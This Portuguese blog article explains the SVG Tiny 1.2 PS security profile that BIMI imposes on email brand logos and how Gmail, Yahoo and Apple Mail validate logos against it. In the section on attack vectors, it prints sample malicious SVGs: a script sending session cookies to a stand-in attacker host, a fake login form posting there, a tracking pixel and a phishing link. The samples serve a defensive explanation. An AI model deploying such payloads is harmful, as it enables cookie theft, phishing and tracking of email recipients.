SVG Tiny-PS: entenda o perfil de segurança imposto pelo BIMI
Por CaptainDNS
Publicado em 2 de março de 2026

- O SVG padrão pode incorporar scripts JavaScript, links de phishing e pixels de rastreamento: recursos incompatíveis com uma caixa de entrada
- O perfil SVG Tiny 1.2 PS (Portable/Secure) elimina toda execução de código, todo carregamento externo e toda interatividade
- Gmail, Yahoo Mail e Apple Mail analisam cada logo BIMI e rejeitam qualquer arquivo que viole as restrições do perfil PS
Um arquivo SVG não é uma simples imagem. É um documento XML que pode conter JavaScript, links de hipertexto, requisições para servidores externos e até HTML incorporado via <foreignObject>. Esses recursos, úteis na web, se tornam armas em um contexto de e-mail.
O BIMI (Brand Indicators for Message Identification) exibe o logo de uma marca diretamente na caixa de entrada do destinatário. Se esse logo pudesse executar código ou carregar recursos externos, ele se tornaria o vetor de ataque mais acessível já implantado: presente em cada e-mail recebido, exibido automaticamente, sem interação do usuário.
É por isso que o BIMI impõe um perfil SVG ultra-restritivo: SVG Tiny 1.2 PS (Portable/Secure). Este artigo detalha a origem desse perfil, as ameaças que ele neutraliza e como os provedores de e-mail o aplicam.
Do W3C ao BIMI: de onde vem o perfil SVG Tiny-PS?
O perfil SVG Tiny-PS não surgiu do nada. Ele se baseia em duas décadas de trabalho de padronização do W3C, adaptado às restrições específicas do e-mail.
SVG Tiny 1.2: um padrão para dispositivos limitados
Em 2008, o W3C publica a especificação SVG Tiny 1.2. O objetivo inicial não tem nada a ver com e-mail: trata-se de permitir a exibição de gráficos vetoriais em dispositivos móveis com recursos limitados (telefones da época, PDAs, navegadores embarcados).
O SVG Tiny 1.2 remove as funcionalidades mais pesadas do SVG Full: sem filtros complexos, sem <foreignObject>, sem CSS avançado. O subconjunto restante é suficiente para exibir ícones, logos e ilustrações simples.
A extensão PS: a camada de segurança do BIMI
Quando o BIMI Working Group procura um formato de imagem para os logos de marca nos e-mails, o SVG Tiny 1.2 é um bom ponto de partida. O formato é leve, padronizado e não depende de resoluções fixas. Mas o SVG Tiny 1.2 ainda conserva recursos problemáticos para a segurança de e-mail:
- Os scripts JavaScript (
<script>) ainda são permitidos no SVG Tiny 1.2 - Os links de hipertexto (
<a>) continuam autorizados - As animações (
<animate>,<set>) funcionam
O BIMI Working Group adiciona então uma camada extra de restrições, batizada de PS (Portable/Secure). O resultado é um perfil declarado via o atributo baseProfile="tiny-ps" na tag <svg> raiz:
<svg xmlns="http://www.w3.org/2000/svg"
version="1.2"
baseProfile="tiny-ps"
viewBox="0 0 512 512">
<!-- Conteúdo do logo -->
</svg>
O atributo baseProfile="tiny-ps" sinaliza aos parsers que o arquivo está sujeito às restrições PS. Um provedor de e-mail que encontra um SVG sem esse atributo o rejeita, mesmo que o conteúdo seja tecnicamente conforme.
Quais vetores de ataque um arquivo SVG pode conter?
Para entender as restrições, é preciso primeiro entender os riscos. Um arquivo SVG clássico oferece cinco grandes superfícies de ataque em um contexto de e-mail.
Execução de código JavaScript
O SVG suporta a tag <script> com JavaScript completo. Em um navegador, é uma funcionalidade. Em uma caixa de entrada, é uma falha XSS (Cross-Site Scripting) servida de bandeja:
<!-- SVG malicioso: roubo de sessão -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
fetch('https://attacker.example/steal?cookie=' + document.cookie);
</script>
<circle cx="50" cy="50" r="40" fill="#0EA5E9"/>
</svg>
Um arquivo desses, exibido como logo BIMI, poderia acessar o DOM do cliente de e-mail web, exfiltrar cookies de sessão ou injetar conteúdo na página.
Carregamento de recursos externos
A tag <image> permite carregar imagens de um servidor remoto. É um pixel de rastreamento disfarçado de logo:
<!-- SVG com pixel de rastreamento -->
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://tracker.example/pixel.gif?uid=12345"
width="1" height="1"/>
<circle cx="50" cy="50" r="40" fill="#10B981"/>
</svg>
Cada exibição do logo dispara uma requisição HTTP. O atacante sabe quando, onde e quantas vezes o e-mail é aberto (endereço IP, user agent, frequência).
Links de phishing
O elemento <a> cria zonas clicáveis em um SVG. Um logo inteiramente clicável que redireciona para um site de phishing passaria despercebido pela maioria dos usuários:
<!-- SVG com link de phishing -->
<svg xmlns="http://www.w3.org/2000/svg">
<a href="https://fake-bank.example/login">
<rect width="100" height="100" fill="#8B5CF6"/>
<text x="50" y="55" text-anchor="middle" fill="white">Logo</text>
</a>
</svg>
Conteúdo HTML incorporado
<foreignObject> permite injetar HTML e CSS arbitrários em um SVG. É a superfície de ataque mais ampla: formulários, iframes, scripts aninhados:
<!-- SVG com HTML incorporado -->
<svg xmlns="http://www.w3.org/2000/svg">
<foreignObject width="100%" height="100%">
<div xmlns="http://www.w3.org/1999/xhtml">
<form action="https://attacker.example/phish">
<input type="text" placeholder="E-mail"/>
<input type="password" placeholder="Senha"/>
<button>Entrar</button>
</form>
</div>
</foreignObject>
</svg>
Animações e interações por eventos
Os elementos <animate>, <set> e os atributos onclick, onmouseover permitem criar comportamentos dinâmicos. Um logo animado poderia simular uma interface, exibir botões falsos ou acionar ações ao passar o mouse.

Como o perfil PS neutraliza cada ameaça?
O perfil PS aplica três categorias de restrições. Cada uma visa um grupo de ameaças específico.
Categoria 1: elementos proibidos
O perfil PS remove completamente certos elementos XML do vocabulário SVG autorizado:
| Elemento proibido | Ameaça neutralizada |
|---|---|
<script> | Execução de código JavaScript (XSS) |
<image> | Carregamento de recursos externos (rastreamento) |
<a> | Links de phishing clicáveis |
<foreignObject> | Injeção de HTML/CSS arbitrário |
<animate>, <animateTransform>, <set> | Animações e comportamentos dinâmicos |
<filter>, <feGaussianBlur> | Filtros complexos (renderização imprevisível) |
<pattern>, <mask>, <symbol> | Elementos avançados desnecessários para um logo |
<marker>, <switch>, <cursor> | Interatividade e personalização |
Se um arquivo SVG contiver um único desses elementos, o provedor o rejeita integralmente. Não existe modo degradado: um único elemento proibido é suficiente.
Categoria 2: atributos e eventos removidos
Mesmo nos elementos autorizados, certos atributos são proibidos:
- Eventos JavaScript:
onclick,onmouseover,onload,onfocusine todos os atributoson* - Referências externas:
xlink:hrefapontando para uma URL externa (as referências internas com#idcontinuam autorizadas) - Estilos CSS complexos: os blocos
<style>são proibidos; as propriedades devem ser declaradas como atributos inline (fill="#0EA5E9")
Categoria 3: estrutura imposta
O perfil PS impõe uma estrutura precisa no elemento <svg> raiz:
| Atributo | Valor exigido | Função |
|---|---|---|
version | 1.2 | Declara o subconjunto SVG Tiny 1.2 |
baseProfile | tiny-ps | Ativa as restrições PS |
viewBox | 0 0 X X (quadrado) | Garante uma proporção 1:1 para exibição |
xmlns | http://www.w3.org/2000/svg | Namespace SVG padrão |
O viewBox quadrado não é uma restrição de segurança propriamente dita. Ele garante que o logo seja exibido corretamente independentemente do cliente de e-mail e do tamanho da área de exibição.
Elementos autorizados
O que resta após a filtragem constitui o vocabulário mínimo para desenhar um logo:
Contêineres: <svg>, <g>, <defs>
Formas: <rect>, <circle>, <ellipse>, <line>, <polyline>, <polygon>, <path>
Texto: <text>, <tspan>
Cores: <linearGradient>, <radialGradient>, <stop>, <solidColor>
Recorte: <clipPath>, <use> (referência local apenas)
Acessibilidade: <title>, <desc>
Esse vocabulário é suficiente para reproduzir qualquer logo de marca. Os logos não precisam de scripts, animações ou links: eles são, por natureza, imagens estáticas.
Como os provedores validam um logo SVG Tiny-PS?
Os provedores de e-mail não confiam no atributo baseProfile="tiny-ps". Eles analisam o arquivo integralmente e verificam cada elemento.
O processo de validação
A validação segue um pipeline de quatro etapas:
- Recuperação: o provedor baixa o arquivo SVG a partir da URL indicada no registro DNS BIMI (
l=https://...) - Parsing XML: o arquivo é analisado como um documento XML estrito. Qualquer arquivo malformado é rejeitado
- Verificação estrutural: presença de
version="1.2",baseProfile="tiny-ps",viewBoxquadrado, namespace correto - Análise dos elementos: cada nó XML é comparado à lista de permissões. Um elemento proibido provoca rejeição imediata
Diferenças entre provedores
| Critério | Gmail | Yahoo Mail | Apple Mail |
|---|---|---|---|
| Validação SVG Tiny-PS | Rigorosa | Rigorosa | Rigorosa |
| Certificado VMC/CMC exigido | Sim | Não | Não |
| Cache do logo | Longo (dias) | Médio (horas) | Curto |
DMARC p=reject obrigatório | Sim | Não (p=quarantine é suficiente) | Não (p=quarantine é suficiente) |
O Gmail aplica a validação mais rigorosa. Além do formato SVG Tiny-PS, ele exige um certificado VMC (Verified Mark Certificate) ou CMC (Common Mark Certificate) que vincula criptograficamente o logo à identidade da marca. O Yahoo Mail e o Apple Mail exibem o logo sem certificado, mas validam o formato com o mesmo rigor.
Motivos de rejeição mais comuns
As causas de rejeição mais frequentes são:
baseProfileausente: o arquivo não declarabaseProfile="tiny-ps"(cerca de 50% dos casos)- Bloco
<style>presente: os editores gráficos exportam as cores em CSS, não em atributos inline - Elemento
<image>detectado: um bitmap incorporado em base64 no SVG viewBoxnão quadrado: proporção diferente de 1:1- Namespace supérfluo:
xmlns:inkscape,xmlns:xlinkcom referências não utilizadas

🎯 Plano de ação recomendado
- Auditar seu arquivo SVG atual: abra-o em um editor de texto e procure os elementos proibidos (
<script>,<image>,<style>,<a>,<animate>) - Verificar os atributos raiz: confirme a presença de
version="1.2",baseProfile="tiny-ps"e umviewBoxquadrado - Converter automaticamente: passe o arquivo em um conversor SVG Tiny-PS para remover os elementos proibidos e adicionar os atributos faltantes
- Testar a recuperação: use a ferramenta de verificação BIMI do CaptainDNS para confirmar que o logo está acessível e válido a partir do registro DNS
- Monitorar as atualizações: o BIMI Working Group pode ajustar as restrições; consulte regularmente a RFC 9495
FAQ
O que é o perfil SVG Tiny-PS?
SVG Tiny 1.2 PS (Portable/Secure) é um subconjunto restrito do formato SVG, definido para o BIMI. Ele usa como base o SVG Tiny 1.2 do W3C e adiciona restrições de segurança: sem scripts, sem links, sem imagens externas, sem animações. Apenas os elementos visuais estáticos (formas, texto, gradientes) são permitidos.
Por que o BIMI não aceita arquivos SVG padrão?
Um arquivo SVG padrão pode conter JavaScript, links de hipertexto, pixels de rastreamento e HTML incorporado. Exibir um arquivo desses automaticamente em uma caixa de entrada abriria uma superfície de ataque massiva. O perfil SVG Tiny-PS elimina esses recursos para que o logo permaneça uma imagem estática inofensiva.
Qual é a diferença entre SVG Tiny 1.2 e SVG Tiny-PS?
O SVG Tiny 1.2 é um padrão W3C projetado para dispositivos móveis. Ele remove as funcionalidades mais pesadas do SVG Full, mas mantém os scripts e os links. O SVG Tiny-PS adiciona uma camada de restrições de segurança específicas do BIMI: proibição de scripts, links, animações e qualquer carregamento externo.
Que tipos de ataques um arquivo SVG malicioso pode conter?
Um SVG malicioso pode conter JavaScript para executar XSS, tags <image> para rastreamento por pixel, links <a> para phishing, HTML via <foreignObject> para injetar formulários e animações para simular elementos falsos de interface.
Como o Gmail valida um logo BIMI?
O Gmail baixa o SVG a partir da URL declarada no registro DNS BIMI, analisa o XML, verifica a presença de baseProfile="tiny-ps" e de um viewBox quadrado, e então analisa cada elemento contra a lista de permissões do perfil PS. Ele também exige um certificado VMC ou CMC válido para exibir o logo com o selo de verificação.
O perfil SVG Tiny-PS permite gradientes e cores?
Sim. Os gradientes lineares (<linearGradient>), radiais (<radialGradient>) e as cores (fill, stroke, <solidColor>) são permitidos. O perfil PS restringe apenas os elementos que representam um risco de segurança, não os elementos decorativos necessários para um logo.
Existe um validador oficial para SVG Tiny-PS?
O BIMI Group não fornece um validador oficial. Os provedores de e-mail realizam sua própria validação durante o processamento do e-mail. Para testar seu logo antes da publicação, use uma ferramenta de verificação BIMI que simula o processo de validação dos provedores.
📖 Glossário
- SVG Tiny 1.2 PS: perfil de segurança do formato SVG adotado pelo BIMI. PS significa Portable/Secure. Ele restringe o SVG Tiny 1.2 aos elementos visuais estáticos, eliminando scripts, links, animações e carregamento externo.
- XSS (Cross-Site Scripting): ataque que injeta código JavaScript em uma página web para roubar dados ou sequestrar sessões. Um SVG com
<script>pode servir como vetor de XSS. - baseProfile: atributo XML da tag
<svg>que declara o perfil SVG utilizado. O valortiny-pssinaliza ao parser que o arquivo deve respeitar as restrições PS. - BIMI: Brand Indicators for Message Identification. Padrão que exibe o logo de uma marca nos clientes de e-mail, condicionado ao DMARC e (dependendo do provedor) a um certificado VMC/CMC.
- VMC/CMC: Verified Mark Certificate / Common Mark Certificate. Certificados que vinculam criptograficamente um logo a uma marca. O Gmail exige um desses certificados para exibir o selo de verificação.
- RFC 9495: especificação IETF do BIMI, publicada em dezembro de 2023. Define o formato de registro DNS, o processo de validação e os requisitos do logo SVG.
Verifique a conformidade do seu logo: passe seu arquivo SVG no conversor SVG Tiny-PS do CaptainDNS para detectar e corrigir automaticamente os elementos não conformes.
📚 Guias de BIMI relacionados
- Como criar um logo BIMI em conformidade com SVG Tiny-PS: guia prático passo a passo para preparar, converter e validar um logo
- Configurar BIMI para uma PME: guia econômico sem VMC: implementar BIMI sem VMC com um orçamento controlado, passo a passo


